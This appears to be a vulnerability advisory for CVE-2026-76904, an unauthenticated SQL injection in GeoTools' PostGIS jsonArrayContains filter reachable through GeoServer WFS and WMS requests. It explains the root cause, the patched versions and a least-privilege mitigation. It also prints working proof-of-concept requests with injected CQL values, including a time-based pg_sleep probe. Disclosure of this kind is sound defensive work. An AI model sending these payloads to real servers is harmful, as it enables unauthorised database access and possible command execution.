CVE-2026-76904: GeoTools gt-jdbc-postgis Unauthenticated SQL Injection via jsonArrayContains
A missing escaping step in GeoTools' PostGIS filter code lets anyone with access to a public GeoServer map endpoint inject arbitrary SQL, and potentially execute OS commands, without logging in.

The problem
The jsonArrayContains(<column>, <pointer>, <value>) OGC filter function in org.geotools.jdbc:gt-jdbc-postgis 35.0 writes the third argument, <value>, directly into a PostgreSQL jsonb_path_exists() expression with no escaping or parameterization.
Because GeoServer exposes WFS and WMS endpoints to unauthenticated users by default, an attacker can pass a crafted CQL filter over HTTP and alter the resulting database query. If the database connection uses a superuser or a role with COPY TO/FROM PROGRAM rights, the injection escalates to OS command execution.
Proof of concept
A working proof-of-concept for CVE-2026-76904 in org.geotools.jdbc:gt-jdbc-postgis, with the exact payload below.
GET /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue
&typeNames=myLayer
&valueReference=jsonArrayContains(json_col,'/x','x'')%20OR%201%3D1--)
HTTP/1.1
Host: target.example.com
# Breakdown: the value argument becomes:
# jsonb_path_exists(json_col, '$[*] ? (@ == "x") OR 1=1--)')
# Closing quote + paren breaks out of the jsonpath string literal,
# appending arbitrary SQL. For time-based blind confirmation:
# value = x') OR pg_sleep(5)--
# CQL: jsonArrayContains(json_col,'/x','x'') OR pg_sleep(5)--')
# WMS variant:
GET /geoserver/wms?service=WMS&version=1.1.1&request=GetMap
&layers=myLayer
&CQL_FILTER=jsonArrayContains(json_col,'/x','x'')%20OR%20pg_sleep(5)--)=true
&BBOX=...&WIDTH=256&HEIGHT=256&SRS=EPSG:4326&FORMAT=image/png
HTTP/1.1
Host: target.example.comThe root cause is in FilterToSqlHelper.java inside the gt-jdbc-postgis module. The constructEquality() helper builds the jsonb_path_exists() SQL call using Java string formatting (%s) and places the caller-supplied value into the jsonpath string literal without quoting or escaping it.
Every other filter function in GeoTools uses parameterized queries; jsonArrayContains was added later (GEOT-7589, commit 651ee878) to handle the PostgreSQL 12+ jsonpath operator and missed that requirement.
The fix in PR #5829 (commit d821c4d) adds proper string escaping before the value is interpolated, so single quotes in attacker input are neutralized before they reach the database. This is a regression of CVE-2023-25158. Critically, the CVE-2023-25158 mitigation of enabling preparedStatements and disabling encode functions does NOT close this path because the injection lives inside the jsonpath argument construction, not the outer query parameterization.
The fix
Upgrade org.geotools.jdbc:gt-jdbc-postgis to 35.1, 34.5, or 33.6. The corresponding GeoServer releases are 3.0.1, 2.28.5, and 2.27.6. No config-level workaround exists. As a defense-in-depth measure, ensure the PostGIS connection pool uses a least-privilege role with no SUPERUSER or CREATEROLE grants and no access to `COPY ...
PROGRAM`.
Reported by @q1uf3ng.
Related research
- highCVE-2026-54251CVE-2026-54251: netty-incubator-codec-ohttp Native Direct-Memory Leak on AEAD Decryption Failure
- high · 8.1CVE-2026-61798CVE-2026-61798: netty-incubator-codec-ohttp BoringSSL HPKE Private Key Exposure via toString()
- high · 7.5CVE-2026-63124CVE-2026-63124: netty-incubator-codec-bhttp BinaryHttpParser Infinite Loop DoS
- highCVE-2026-61827CVE-2026-61827: netty-incubator-codec-bhttp BinaryHttpParser Unbounded Memory Allocation (OOM)